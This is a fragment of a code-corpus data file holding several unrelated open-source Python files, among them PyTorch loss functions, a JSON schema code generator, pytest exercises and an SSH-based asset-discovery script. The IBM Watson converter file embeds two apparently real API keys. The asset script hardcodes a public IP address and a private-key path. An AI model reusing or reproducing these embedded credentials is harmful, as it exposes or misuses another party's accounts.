day')\n\n\ndef lambda_handler(event, context):\n print('handler called')\n main()\n print('handler about to finish')\n\n\n# if __name__ == '__main__':\n# main()\n", "source": "jfilter/foia-bot", "license": "MIT"}
+{"text": "import random\n\ndef estimate_pi(sims, needles):\n trials = []\n for _ in xrange(sims):\n trials.append(simulate_pi(needles))\n\n mean = sum(trials) / sims\n return mean\n\n# use a unit square\ndef simulate_pi(needles):\n hits = 0 # how many hits we hit the circle\n for _ in xrange(needles):\n x = random.uniform(-1., 1.)\n y = random.uniform(-1, 1.)\n if x*x + y*y <= 1.0:\n hits += 1\n return 4. * (hits / float(needles))\n", "source": "domluna/fun_with_ffi", "license": "MIT"}
+{"text": "import torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models as models\nfrom model.laplacian import LapLoss\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass EPE(nn.Module):\n def __init__(self):\n super(EPE, self).__init__()\n\n def forward(self, flow, gt, loss_mask):\n loss_map = (flow - gt.detach()) ** 2\n loss_map = (loss_map.sum(1, True) + 1e-6) ** 0.5\n return (loss_map * loss_mask)\n\n\nclass Ternary(nn.Module):\n def __init__(self):\n super(Ternary, self).__init__()\n patch_size = 7\n out_channels = patch_size * patch_size\n self.w = np.eye(out_channels).reshape(\n (patch_size, patch_size, 1, out_channels))\n self.w = np.transpose(self.w, (3, 2, 0, 1))\n self.w = torch.tensor(self.w).float().to(device)\n\n def transform(self, img):\n patches = F.conv2d(img, self.w, padding=3, bias=None)\n transf = patches - img\n transf_norm = transf / torch.sqrt(0.81 + transf**2)\n return transf_norm\n\n def rgb2gray(self, rgb):\n r, g, b = rgb[:, 0:1, :, :], rgb[:, 1:2, :, :], rgb[:, 2:3, :, :]\n gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n return gray\n\n def hamming(self, t1, t2):\n dist = (t1 - t2) ** 2\n dist_norm = torch.mean(dist / (0.1 + dist), 1, True)\n return dist_norm\n\n def valid_mask(self, t, padding):\n n, _, h, w = t.size()\n inner = torch.ones(n, 1, h - 2 * padding, w - 2 * padding).type_as(t)\n mask = F.pad(inner, [padding] * 4)\n return mask\n\n def forward(self, img0, img1):\n img0 = self.transform(self.rgb2gray(img0))\n img1 = self.transform(self.rgb2gray(img1))\n return self.hamming(img0, img1) * self.valid_mask(img0, 1)\n\n\nclass SOBEL(nn.Module):\n def __init__(self):\n super(SOBEL, self).__init__()\n self.kernelX = torch.tensor([\n [1, 0, -1],\n [2, 0, -2],\n [1, 0, -1],\n ]).float()\n self.kernelY = self.kernelX.clone().T\n self.kernelX = self.kernelX.unsqueeze(0).unsqueeze(0).to(device)\n self.kernelY = self.kernelY.unsqueeze(0).unsqueeze(0).to(device)\n\n def forward(self, pred, gt):\n N, C, H, W = pred.shape[0], pred.shape[1], pred.shape[2], pred.shape[3]\n img_stack = torch.cat(\n [pred.reshape(N*C, 1, H, W), gt.reshape(N*C, 1, H, W)], 0)\n sobel_stack_x = F.conv2d(img_stack, self.kernelX, padding=1)\n sobel_stack_y = F.conv2d(img_stack, self.kernelY, padding=1)\n pred_X, gt_X = sobel_stack_x[:N*C], sobel_stack_x[N*C:]\n pred_Y, gt_Y = sobel_stack_y[:N*C], sobel_stack_y[N*C:]\n\n L1X, L1Y = torch.abs(pred_X-gt_X), torch.abs(pred_Y-gt_Y)\n loss = (L1X+L1Y)\n return loss\n\nclass MeanShift(nn.Conv2d):\n def __init__(self, data_mean, data_std, data_range=1, norm=True):\n c = len(data_mean)\n super(MeanShift, self).__init__(c, c, kernel_size=1)\n std = torch.Tensor(data_std)\n self.weight.data = torch.eye(c).view(c, c, 1, 1)\n if norm:\n self.weight.data.div_(std.view(c, 1, 1, 1))\n self.bias.data = -1 * data_range * torch.Tensor(data_mean)\n self.bias.data.div_(std)\n else:\n self.weight.data.mul_(std.view(c, 1, 1, 1))\n self.bias.data = data_range * torch.Tensor(data_mean)\n self.requires_grad = False\n \nclass VGGPerceptualLoss(torch.nn.Module):\n def __init__(self, rank=0):\n super(VGGPerceptualLoss, self).__init__()\n blocks = []\n pretrained = True\n self.vgg_pretrained_features = models.vgg19(pretrained=pretrained).features\n self.normalize = MeanShift([0.485, 0.456, 0.406], [0.229, 0.224, 0.225], norm=True).cuda()\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, X, Y, indices=None):\n X = self.normalize(X)\n Y = self.normalize(Y)\n indices = [2, 7, 12, 21, 30]\n weights = [1.0/2.6, 1.0/4.8, 1.0/3.7, 1.0/5.6, 10/1.5]\n k = 0\n loss = 0\n for i in range(indices[-1]):\n X = self.vgg_pretrained_features[i](X)\n Y = self.vgg_pretrained_features[i](Y)\n if (i+1) in indices:\n loss += weights[k] * (X - Y.detach()).abs().mean() * 0.1\n k += 1\n return loss\n\n# flow could have any channels.\n# https://github.com/coolbeam/OIFlow/blob/main/utils/tools.py\ndef flow_smooth_delta(flow, if_second_order=False):\n def gradient(x):\n D_dx = x[:, :, :, 1:] - x[:, :, :, :-1]\n D_dy = x[:, :, 1:] - x[:, :, :-1]\n return D_dx, D_dy\n\n dx, dy = gradient(flow)\n # dx2, dxdy = gradient(dx)\n # dydx, dy2 = gradient(dy)\n if if_second_order:\n dx2, dxdy = gradient(dx)\n dydx, dy2 = gradient(dy)\n smooth_loss = dx.abs().mean() + dy.abs().mean() + dx2.abs().mean() + dxdy.abs().mean() + dydx.abs().mean() + dy2.abs().mean()\n else:\n smooth_loss = dx.abs().mean() + dy.abs().mean()\n # smooth_loss = dx.abs().mean() + dy.abs().mean() # + dx2.abs().mean() + dxdy.abs().mean() + dydx.abs().mean() + dy2.abs().mean()\n # \u6682\u65f6\u4e0d\u4e0a\u4e8c\u9636\u7684\u5e73\u6ed1\u635f\u5931\uff0c\u4f3c\u4e4e\u52a0\u4e0a\u4ee5\u540e\u5c31\u592a\u731b\u4e86\uff0c\u65e0\u6cd5\u964d\u4f4ephoto loss TODO\n return smooth_loss\n\n# flow should have 4 channels.\n# https://github.com/coolbeam/OIFlow/blob/main/utils/tools.py\n# weight_type='exp' seems to perform better than 'gauss'.\ndef edge_aware_smoothness_order1(img0, img1, flow, constant=1.0, weight_type='exp', error_type='L1'):\n def weight_fn(x):\n if weight_type == 'gauss':\n y = x ** 2\n elif weight_type == 'exp':\n y = torch.abs(x)\n else:\n raise ValueError('')\n return y\n\n def gradient_xy(img):\n gx = img[:, :, :, :-1] - img[:, :, :, 1:]\n gy = img[:, :, :-1, :] - img[:, :, 1:, :]\n return gx, gy\n\n def gradweight_xy(img0, img1):\n img0_gx, img0_gy = gradient_xy(img0)\n img1_gx, img1_gy = gradient_xy(img1)\n\n img0_wx = torch.exp(-torch.mean(weight_fn(constant * img0_gx), 1, keepdim=True))\n img0_wy = torch.exp(-torch.mean(weight_fn(constant * img0_gy), 1, keepdim=True))\n img1_wx = torch.exp(-torch.mean(weight_fn(constant * img1_gx), 1, keepdim=True))\n img1_wy = torch.exp(-torch.mean(weight_fn(constant * img1_gy), 1, keepdim=True))\n \n # First two flow channels: 1->0 flow. So use img1 weights.\n # Second two flow channels: 0->1 flow. So use img0 weights.\n # weights_x and weights_y are for x and y's spatial gradients, respectively.\n weights_x = torch.cat([img1_wx, img1_wx, img0_wx, img0_wx], dim=1)\n weights_y = torch.cat([img1_wy, img0_wy, img0_wy, img1_wy], dim=1)\n\n return weights_x, weights_y\n\n def error_fn(x):\n if error_type == 'L1':\n y = torch.abs(x)\n elif error_type == 'abs_robust':\n y = (torch.abs(x) + 0.01).pow(0.4)\n else:\n raise ValueError('')\n return y\n\n # The flow gradients along x, y axes, respectively. \n # flow_gx, flow_gy have the same number of channels as flow.\n # No matter the flow is x- or y-flow, it should be smooth along both x and y axes.\n # I.e., a y-flow should also be smooth along x-axis, and x-flow should also be smooth along y-axis.\n flow_gx, flow_gy = gradient_xy(flow)\n # weights_x, weights_y both have 4 channels, same as flow_gx and flow_gy (if the input flow has 4 channels).\n weights_x, weights_y = gradweight_xy(img0, img1)\n\n smoothness_x = error_fn(flow_gx) * weights_x\n smoothness_y = error_fn(flow_gy) * weights_y\n return torch.mean(smoothness_x) + torch.mean(smoothness_y)\n\n\n# Dual teaching helps slightly.\ndef dual_teaching_loss(mid_gt, img_stu, flow_stu, img_tea, flow_tea):\n loss_distill = 0\n # Ws[0]: weight of teacher -> student.\n # Ws[1]: weight of student -> teacher.\n # Two directions could take different weights.\n # Set Ws[1] to 0 to disable student -> teacher.\n Ws = [1, 0.5]\n use_lap_loss = False\n # Laplacian loss performs better in earlier epochs, but worse in later epochs.\n # Moreover, Laplacian loss is significantly slower.\n if use_lap_loss:\n loss_fun = LapLoss(max_levels=3, reduction='none')\n else:\n loss_fun = nn.L1Loss(reduction='none')\n\n for i in range(2):\n student_error = loss_fun(img_stu, mid_gt).mean(1, True)\n teacher_error = loss_fun(img_tea, mid_gt).mean(1, True)\n # distill_mask indicates where the warped images according to student's prediction \n # is worse than that of the teacher.\n # If at some points, the warped image of the teacher is better than the student,\n # then regard the flow at these points are more accurate, and use them to teach the student.\n distill_mask = (student_error > teacher_error + 0.01).float().detach()\n\n # loss_distill is the sum of the distillation losses at 2 directions.\n loss_distill += Ws[i] * ((flow_tea.detach() - flow_stu).abs() * distill_mask).mean()\n\n # Swap student and teacher, and calculate the distillation loss again.\n img_stu, flow_stu, img_tea, flow_tea = \\\n img_tea, flow_tea, img_stu, flow_stu\n # The distillation loss from the student to the teacher is given a smaller weight.\n\n # loss_distill = loss_distill / 2 \n return loss_distill\n\nif __name__ == '__main__':\n img0 = torch.zeros(3, 3, 256, 256).float().to(device)\n img1 = torch.tensor(np.random.normal(\n 0, 1, (3, 3, 256, 256))).float().to(device)\n ternary_loss = Ternary()\n print(ternary_loss(img0, img1).shape)\n", "source": "askerlee/rift", "license": "MIT"}
+{"text": "\"\"\"Simple example to show how to use weave.inline on SWIG2 wrapped\nobjects. SWIG2 refers to SWIG versions >= 1.3.\n\nTo run this example you must build the trivial SWIG2 extension called\nswig2_ext. To do this you need to do something like this::\n\n $ swig -c++ -python -I. -o swig2_ext_wrap.cxx swig2_ext.i\n\n $ g++ -Wall -O2 -I/usr/include/python2.3 -fPIC -I. -c \\\n -o swig2_ext_wrap.os swig2_ext_wrap.cxx\n\n $ g++ -shared -o _swig2_ext.so swig2_ext_wrap.os \\\n -L/usr/lib/python2.3/config\n\nThe files swig2_ext.i and swig2_ext.h are included in the same\ndirectory that contains this file.\n\nNote that weave's SWIG2 support works fine whether SWIG_COBJECT_TYPES\nare used or not.\n\nAuthor: Prabhu Ramachandran\nCopyright (c) 2004, Prabhu Ramachandran\nLicense: BSD Style.\n\n\"\"\"\n\n# Import our SWIG2 wrapped library\nimport swig2_ext\n\nimport scipy.weave as weave\nfrom scipy.weave import swig2_spec, converters\n\n# SWIG2 support is not enabled by default. We do this by adding the\n# swig2 converter to the default list of converters.\nconverters.default.insert(0, swig2_spec.swig2_converter())\n\ndef test():\n \"\"\"Instantiate the SWIG wrapped object and then call its method\n from C++ using weave.inline\n\n \"\"\"\n a = swig2_ext.A()\n b = swig2_ext.foo() # This will be an APtr instance.\n b.thisown = 1 # Prevent memory leaks.\n code = \"\"\"a->f();\n b->f();\n \"\"\"\n weave.inline(code, ['a', 'b'], include_dirs=['.'],\n headers=['\"swig2_ext.h\"'], verbose=1)\n\n\nif __name__ == \"__main__\":\n test()\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"}
+{"text": "import ast\n\nfrom json_codegen.generators.python3_marshmallow.utils import Annotations, class_name\n\n\nclass ObjectGenerator(object):\n @staticmethod\n def _get_property_name(node_assign):\n name = node_assign.targets[0]\n return name.id\n\n @staticmethod\n def _nesting_class(node_assign):\n for node in ast.walk(node_assign):\n if isinstance(node, ast.Call):\n if node.func.attr == \"Nested\":\n return class_name(node.args[0].id)\n\n @staticmethod\n def _non_primitive_nested_list(node_assign):\n if node_assign.value.func.attr == \"List\":\n return (\n len(node_assign.value.args) > 0 and node_assign.value.args[0].func.attr == \"Nested\"\n )\n else:\n return False\n\n @staticmethod\n def _init_non_primitive_nested_class(node_assign, object_, prop):\n \"\"\"\n If the nested list is non-primitive, initialise sub-classes in a list comp\n If the nest is primitive, we can simply get it\n Marshmallow will do the type marshalling\n \"\"\"\n return ast.ListComp(\n elt=ast.Call(\n func=ast.Name(id=ObjectGenerator._nesting_class(node_assign)),\n args=[ast.Name(id=\"el\")],\n keywords=[],\n ),\n generators=[\n ast.comprehension(\n target=ast.Name(id=\"el\"),\n iter=ast.Call(\n func=ast.Attribute(value=ast.Name(id=object_), attr=\"get\"),\n args=[ast.Str(s=prop), ast.Dict(keys=[], values=[])],\n keywords=[],\n ),\n ifs=[],\n is_async=0,\n )\n ],\n )\n\n @staticmethod\n def _get_key_from_object(object_, prop):\n return ast.Call(\n func=ast.Attribute(value=ast.Name(id=object_), attr=\"get\"),\n args=[ast.Str(s=prop)],\n keywords=[],\n )\n\n @staticmethod\n def _hint_required_property(node_assign, value, object_, prop):\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword):\n if \"required\" in node.arg:\n value = ast.Subscript(\n value=ast.Name(id=object_), slice=ast.Index(value=ast.Str(s=prop))\n )\n return value\n\n @staticmethod\n def _get_default_for_property(node_assign, value, object_, prop):\n\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword) and node.arg == \"required\":\n return value\n\n for node in ast.walk(node_assign):\n if isinstance(node, ast.keyword) and node.arg == \"default\":\n default_value = [\n keyword.value\n for keyword in node_assign.value.keywords\n if keyword.arg == \"default\"\n ][0]\n value.args.append(default_value)\n return value\n else:\n return value\n\n @staticmethod\n def assign_property(node_assign, object_):\n \"\"\"\n Required property -> self.prop = parent_dict[\"prop\"]\n Optional property -> self.prop = parent_dict.get(\"prop\")\n Primative nested list -> self.prop = parent_dict.get(\"prop\")\n Non-primative nested list -> self.props = [PropertyClass(el) for el in parent_dict.get('props', {})]\n \"\"\"\n prop = ObjectGenerator._get_property_name(node_assign)\n\n if ObjectGenerator._non_primitive_nested_list(node_assign):\n value = ObjectGenerator._init_non_primitive_nested_class(node_assign, object_, prop)\n else:\n # Assign the property as self.prop = table.get(\"prop\")\n value = ObjectGenerator._get_key_from_object(object_, prop)\n\n # If the property is required, assign as self.prop = table[\"prop\"]\n value = ObjectGenerator._hint_required_property(node_assign, value, object_, prop)\n\n value = ObjectGenerator._get_default_for_property(node_assign, value, object_, prop)\n\n return ast.AnnAssign(\n target=ast.Attribute(value=ast.Name(id=\"self\"), attr=prop),\n value=value,\n simple=0,\n annotation=Annotations(node_assign).type,\n )\n\n @staticmethod\n def construct_class(schema):\n name = class_name(schema.name)\n name_lower = name.lower()\n\n # Bundle function arguments and keywords\n fn_arguments = ast.arguments(\n args=[\n ast.arg(arg=\"self\", annotation=None),\n ast.arg(arg=name_lower, annotation=ast.Name(id=\"dict\")),\n ],\n vararg=None,\n kwarg=None,\n kwonlyargs=[],\n kw_defaults=[],\n defaults=[],\n )\n\n fn_body = [\n ObjectGenerator.assign_property(node, name_lower)\n for node in schema.body\n if isinstance(node, ast.Assign)\n ]\n\n # pass if no Assign nodes\n if len(fn_body) == 0:\n fn_body = [ast.Pass()]\n\n # Generate class constructor\n class_body = [\n ast.FunctionDef(\n name=\"__init__\", args=fn_arguments, body=fn_body, decorator_list=[], returns=None\n ),\n ObjectGenerator._construct_to_(\"json\")(schema),\n ObjectGenerator._construct_to_(\"dict\")(schema),\n ObjectGenerator.construct_from_json(schema),\n ]\n\n return ast.ClassDef(name=name, bases=[], body=class_body, decorator_list=[], keywords=[])\n\n @staticmethod\n def _construct_to_(output):\n\n if output == \"json\":\n method = \"dumps\"\n elif output == \"dict\":\n method = \"dump\"\n else:\n raise NotImplementedError(\"Only deserialisation to json or dict supported\")\n\n def _construct_to_helper(schema):\n\n fn_args = ast.arguments(\n args=[ast.arg(arg=\"self\", annotation=None)],\n vararg=None,\n kwonlyargs=[],\n kw_defaults=[],\n kwarg=None,\n defaults=[],\n )\n\n fn_body = [\n ast.Return(\n value=ast.Attribute(\n value=ast.Call(\n func=ast.Attribute(\n value=ast.Call(\n func=ast.Name(id=schema.name),\n args=[],\n keywords=[\n ast.keyword(\n arg=\"strict\", value=ast.NameConstant(value=True)\n )\n ],\n ),\n attr=method,\n ),\n args=[ast.Name(id=\"self\")],\n keywords=[],\n ),\n attr=\"data\",\n )\n )\n ]\n\n return ast.FunctionDef(\n name=f\"to_{output}\", args=fn_args, body=fn_body, decorator_list=[], returns=None\n )\n\n return _construct_to_helper\n\n @staticmethod\n def construct_from_json(schema):\n\n fn_args = ast.arguments(\n args=[\n ast.arg(arg=\"json\", annotation=ast.Name(id=\"str\")),\n ast.arg(arg=\"only\", annotation=None),\n ],\n vararg=None,\n kwonlyargs=[],\n kw_defaults=[],\n kwarg=None,\n defaults=[ast.NameConstant(value=None)],\n )\n\n fn_body = [\n ast.Return(\n ast.Attribute(\n value=ast.Call(\n func=ast.Attribute(\n value=ast.Call(\n func=ast.Name(id=schema.name),\n args=[],\n keywords=[\n ast.keyword(arg=\"strict\", value=ast.NameConstant(value=True)),\n ast.keyword(arg=\"only\", value=ast.Name(id=\"only\")),\n ],\n ),\n attr=\"loads\",\n ),\n args=[ast.Name(id=\"json\")],\n keywords=[],\n ),\n attr=\"data\",\n )\n )\n ]\n\n return ast.FunctionDef(\n name=\"from_json\",\n args=fn_args,\n body=fn_body,\n decorator_list=[ast.Name(id=\"staticmethod\")],\n returns=None,\n )\n", "source": "expobrain/json-schema-codegen", "license": "MIT"}
+{"text": "from ibm_watson import TextToSpeechV1, SpeechToTextV1, DetailedResponse\n\nfrom os import system\nfrom json import loads\n\n\nclass Converter:\n\n k_s2t_api_key = \"0pxCnJQ_r5Yy3SZDRhYS4XshrTMJyZEsuc45SbBcfGgf\"\n k_t2s_api_key = \"euoR7ZdLMOBd29wP1fNaZFJsqwKt45TUmwcVwpzbQBcA\"\n k_s2t_url = \"https://stream.watsonplatform.net/speech-to-text/api\"\n k_t2s_url = \"https://gateway-wdc.watsonplatform.net/text-to-speech/api\"\n k_t2s_voice = \"en-US_AllisonVoice\"\n k_t2s_format = \"audio/webm\"\n k_st2_model = \"en-US_NarrowbandModel\"\n\n def __init__(self):\n self.s2t = SpeechToTextV1(iam_apikey=self.k_s2t_api_key, url=self.k_s2t_url)\n self.t2s = TextToSpeechV1(iam_apikey=self.k_t2s_api_key, url=self.k_t2s_url)\n\n def read(self, string: str):\n return self.t2s.synthesize(\n string,\n voice=self.k_t2s_voice,\n accept=self.k_t2s_format\n ).get_result().content\n\n def listen(self, audio_input):\n try:\n result = self.s2t.recognize(audio_input, model=self.k_st2_model)\n result = loads(str(result))\n result = result[\"result\"][\"results\"][0][\"alternatives\"][0]['transcript']\n except Exception:\n return False, \"I don't understand what you are saying.\"\n return True, str(result)\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n", "source": "Sailer43/CSE5914Project", "license": "MIT"}
+{"text": "import functions\nfrom pytest import approx\nfrom bcca.test import should_print\n\n\ndef test_add_em_up():\n assert functions.add_em_up(1, 2, 3) == 6\n assert functions.add_em_up(4, 5, 6) == 15\n\n\ndef test_sub_sub_hubbub():\n assert functions.sub_sub_hubbub(1, 2, 3) == -4\n\n\ndef test_square_area():\n assert functions.square_area(5, 5) == 25\n assert functions.square_area(3, 5) == 15\n assert functions.square_area(2, 2) == 4\n\n\ndef test_circle_area():\n assert functions.circle_area(1) == approx(3.14)\n assert functions.circle_area(5) == approx(78.5)\n\n\ndef test_kilometers_to_miles():\n assert functions.kilometers_to_miles(1) == approx(0.6214)\n assert functions.kilometers_to_miles(.5) == approx(0.3107)\n assert functions.kilometers_to_miles(0) == approx(0.0)\n assert functions.kilometers_to_miles(40) == approx(24.855999999999998)\n\n\n@should_print\ndef test_sales_tax_1(output):\n functions.sales_tax(1)\n\n assert output == \"\"\"\nPurchase Amount: 1\nState Sales Tax: 0.04\nCounty Sales Tax: 0.02\nTotal Sales Tax: 0.06\nTotal Cost: 1.06\n\"\"\"\n\n\n@should_print\ndef test_sales_tax_99_99(output):\n functions.sales_tax(99.99)\n\n assert output == \"\"\"\nPurchase Amount: 99.99\nState Sales Tax: 3.9996\nCounty Sales Tax: 1.9998\nTotal Sales Tax: 5.9994\nTotal Cost: 105.98939999999999\n\"\"\"\n\n\n@should_print\ndef test_sales_tax_5_95(output):\n functions.sales_tax(5.95)\n\n assert output == \"\"\"\nPurchase Amount: 5.95\nState Sales Tax: 0.23800000000000002\nCounty Sales Tax: 0.11900000000000001\nTotal Sales Tax: 0.35700000000000004\nTotal Cost: 6.307\n\"\"\"\n\n\ndef test_min_insurance():\n assert functions.min_insurance(100000) == approx(80000.0)\n assert functions.min_insurance(123456789) == approx(98765431.2)\n assert functions.min_insurance(0) == approx(0.0)\n assert functions.min_insurance(-54317890) == approx(-43454312.0)\n\n\n@should_print\ndef test_property_tax_10000(output):\n functions.property_tax(10000)\n\n assert output == '''\nAssessment Value: 6000.0\nProperty Tax: 38.4\n'''\n\n\n@should_print\ndef test_property_tax_99999_95(output):\n functions.property_tax(99999.95)\n\n assert output == '''\nAssessment Value: 59999.969999999994\nProperty Tax: 383.999808\n'''\n\n\ndef test_bmi():\n assert functions.bmi(160, 67) == approx(25.05680552)\n assert functions.bmi(200, 72) == approx(27.12191358)\n assert functions.bmi(120, 60) == approx(23.43333333)\n\n\ndef test_calories():\n assert functions.calories(5, 20) == 125\n assert functions.calories(1, 1) == 13\n\n\ndef test_earnings():\n assert functions.earnings(100, 100, 100) == 3600\n assert functions.earnings(50, 75, 100) == 2550\n assert functions.earnings(0, 1000, 79) == 12711\n\n\n@should_print\ndef test_paint_job_estimator(output):\n functions.paint_job_estimator(50, 10)\n\n assert output == '''\nGallons of paint required: 0.43478260869565216\nHours of labor required: 3.4782608695652173\nCost of paint: 4.3478260869565215\nCost of labor: 69.56521739130434\nTotal Cost: 73.91304347826086\n'''\n\n\n@should_print\ndef test_paint_job_estimator_2(output):\n functions.paint_job_estimator(750, 15.95)\n\n assert output == '''\nGallons of paint required: 6.521739130434782\nHours of labor required: 52.17391304347826\nCost of paint: 104.02173913043477\nCost of labor: 1043.4782608695652\nTotal Cost: 1147.5\n'''\n\n\n@should_print\ndef test_monthly_sales_tax(output):\n functions.monthly_sales_tax(123456.79)\n\n assert output == '''\nMonthly sales: 123456.79\nState sales tax: 4938.2716\nCounty sales tax: 2469.1358\nTotal sales tax: 7407.4074\n'''\n\n\n@should_print\ndef test_monthly_sales_tax_2(output):\n functions.monthly_sales_tax(4321567.21)\n\n assert output == '''\nMonthly sales: 4321567.21\nState sales tax: 172862.6884\nCounty sales tax: 86431.3442\nTotal sales tax: 259294.03260000004\n'''\n", "source": "BaseCampCoding/python-fundamentals", "license": "MIT"}
+{"text": "import pydbhub\nfrom typing import Any, Dict, List, Tuple\nfrom json.decoder import JSONDecodeError\nimport requests\nimport io\n\n\ndef send_request_json(query_url: str, data: Dict[str, Any]) -> Tuple[List[Any], str]:\n \"\"\"\n send_request_json sends a request to DBHub.io, formatting the returned result as JSON\n\n Parameters\n ----------\n query_url : str\n url of the API endpoint\n data : Dict[str, Any]\n data to be processed to the server.\n\n Returns\n -------\n Tuple[List[Any], str]\n The returned data is\n - a list of JSON object.\n - a string describe error if occurs\n \"\"\"\n\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n response = requests.post(query_url, data=data, headers=headers)\n response.raise_for_status()\n return response.json(), None\n except JSONDecodeError as e:\n return None, e.args[0]\n except TypeError as e:\n return None, e.args[0]\n except requests.exceptions.HTTPError as e:\n try:\n return response.json(), e.args[0]\n except JSONDecodeError:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n\n\ndef send_request(query_url: str, data: Dict[str, Any]) -> Tuple[List[bytes], str]:\n \"\"\"\n send_request sends a request to DBHub.io.\n\n Parameters\n ---- query_url : str\n url of the API endpoint\n data : Dict[str, Any]\n data to be processed to the server.------\n\n\n Returns\n -------\n List[bytes]\n database file is returned as a list of bytes\n \"\"\"\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n response = requests.post(query_url, data=data, headers=headers)\n response.raise_for_status()\n return response.content, None\n except requests.exceptions.HTTPError as e:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n\n\ndef send_upload(query_url: str, data: Dict[str, Any], db_bytes: io.BufferedReader) -> Tuple[List[Any], str]:\n \"\"\"\n send_upload uploads a database to DBHub.io.\n\n Parameters\n ----------\n query_url : str\n url of the API endpoint.\n data : Dict[str, Any]\n data to be processed to the server.\n db_bytes : io.BufferedReader\n A buffered binary stream of the database file.\n\n Returns\n -------\n Tuple[List[Any], str]\n The returned data is\n - a list of JSON object.\n - a string describe error if occurs\n \"\"\"\n try:\n headers = {'User-Agent': f'pydbhub v{pydbhub.__version__}'}\n files = {\"file\": db_bytes}\n response = requests.post(query_url, data=data, headers=headers, files=files)\n response.raise_for_status()\n if response.status_code != 201:\n # The returned status code indicates something went wrong\n try:\n return response.json(), str(response.status_code)\n except JSONDecodeError:\n return None, str(response.status_code)\n return response.json(), None\n except requests.exceptions.HTTPError as e:\n try:\n return response.json(), e.args[0]\n except JSONDecodeError:\n return None, e.args[0]\n except requests.exceptions.RequestException as e:\n cause = e.args(0)\n return None, str(cause.args[0])\n", "source": "sum3105/pydbhub", "license": "MIT"}
+{"text": "import socket\nimport paramiko\nimport json\n\nHostname = '34.224.2.243'\nUsername = 'ec2-user'\nkey = 'G:/Projects/Python/Asset-Discovery-Tool/tool/s.pem'\n\n\ndef is_connected():\n try:\n # connect to the host -- tells us if the host is actually\n # reachable\n socket.create_connection((\"8.8.8.8\", 53))\n return \"conneted to the Internet!\"\n except OSError:\n pass\n return \"Please Connect to the Internet!\"\n\n\nis_connected()\ntry:\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh.connect(hostname=Hostname, username=Username, key_filename=key)\nexcept paramiko.AuthenticationException:\n print(\"Failed to connect to {} due to wrong username/password\".format(Hostname))\n exit(1)\nexcept:\n print(\"Failed to connect to {} \".format(Hostname))\n exit(2)\n\n# commands\n_, stdout_1, _ = ssh.exec_command(\"hostname\")\n_, stdout_2, _ = ssh.exec_command(\"hostname -I | awk '{print $1}'\")\n_, stdout_3, _ = ssh.exec_command(\"cat /sys/class/net/eth0/address\")\n_, stdout_4, _ = ssh.exec_command(\n \"awk -F= '$1=={} {{ print $2 ;}}' /etc/os-release\".format('\"NAME\"'))\n_, stdout_5, _ = ssh.exec_command(\"whoami\")\n_, stdout_6, _ = ssh.exec_command(\"last -F\")\n_, stdout_7, _ = ssh.exec_command(\"netstat -tnpa | grep 'ESTABLISHED.*sshd'\")\n#_, stdout_8, _ = ssh.exec_command(\"sudo {}/24\".format())\n# egrep -o '([0-9]{1,3}\\.){3}[0-9]{1,3}' --IP-address\n# ---------------------------------\n\n\ndef remote_data_1():\n output_1 = stdout_1.readlines()\n output_2 = stdout_2.readlines()\n output_3 = stdout_3.readlines()\n output_4 = stdout_4.readlines()\n output_5 = stdout_5.readlines()\n remote_data_1 = {\n 'Hostname': '',\n 'IP': '',\n 'MAC': '',\n 'OS': '',\n 'Currentuser': '',\n }\n\n remote_data_1['Hostname'] = output_1[0].strip('\\n')\n remote_data_1['IP'] = output_2[0].strip('\\n')\n remote_data_1['MAC'] = output_3[0].strip('\\n')\n remote_data_1['OS'] = output_4[0][1:-1].strip('\\\"')\n remote_data_1['Currentuser'] = output_5[0].strip('\\n')\n\n return json.dumps(remote_data_1, indent=4)\n\n# ----------------------------------\n\n\ndef remote_data_2_():\n output = stdout_6.readlines()\n data_ = []\n filter_ = []\n remote_data_2 = {\n 'Hostname': [],\n 'IP': [],\n 'MAC': [],\n 'Lastseen': [],\n 'Status': [],\n }\n\n for i in output:\n data_.append(i.split(' '))\n\n for i in data_:\n filter_.append(list(filter(None, i)))\n\n for i in range(len(filter_)-3):\n remote_data_2['Hostname'].append(filter_[i][0])\n remote_data_2['IP'].append(filter_[i][2])\n remote_data_2['MAC'].append('not found')\n remote_data_2['Lastseen'].append(' '.join(filter_[i][3:8]))\n if 'logged' in filter_[i][9]:\n remote_data_2['Status'].append('Active')\n else:\n remote_data_2['Status'].append('Inactive')\n # ssh.close()\n return remote_data_2\n", "source": "shanmukmichael/Asset-Discovery-Tool", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\nfrom components import ProgramState\nimport binaryninja as binja\nimport argparse\nimport os.path\nimport curses\n\n# TODO...impliment live-refreashing the settings.json during run (add the keybinding and check for it here in the global input loop)\n# TODO...support multi-key presses? Not sure if this already works or not\n# TODO...make sure to support small terminals (I think it does right now, but I should add some more checks so nothing goes out of bounds)\n\ndef main(stdscr):\n # Setup\n parser = argparse.ArgumentParser(description='Nearly Headless BinaryNinja.')\n parser.add_argument('filename', nargs='?', default=\"\")\n args = parser.parse_args()\n\n program = ''\n if not args.filename == \"\":\n if os.path.isfile(args.filename):\n\n bv = binja.BinaryViewType.get_view_of_file(''.join(args.filename), False)\n bv.update_analysis()\n while not str(bv.analysis_progress) == \"Idle\":\n prog = bv.analysis_progress\n\n stdscr.erase()\n stdscr.border()\n\n state = ''\n if prog.state == binja.AnalysisState.DisassembleState:\n state = \"Disassembling\"\n else:\n state = \"Analyzing\"\n loadingText = \"Loading File: \"\n\n prog = int((prog.count/(prog.total+1))*34.0)\n stdscr.addstr(2, 4, loadingText)\n stdscr.addstr(2, 4 + len(loadingText), state)\n stdscr.addstr(4, 4, '[' + '#'*prog + ' 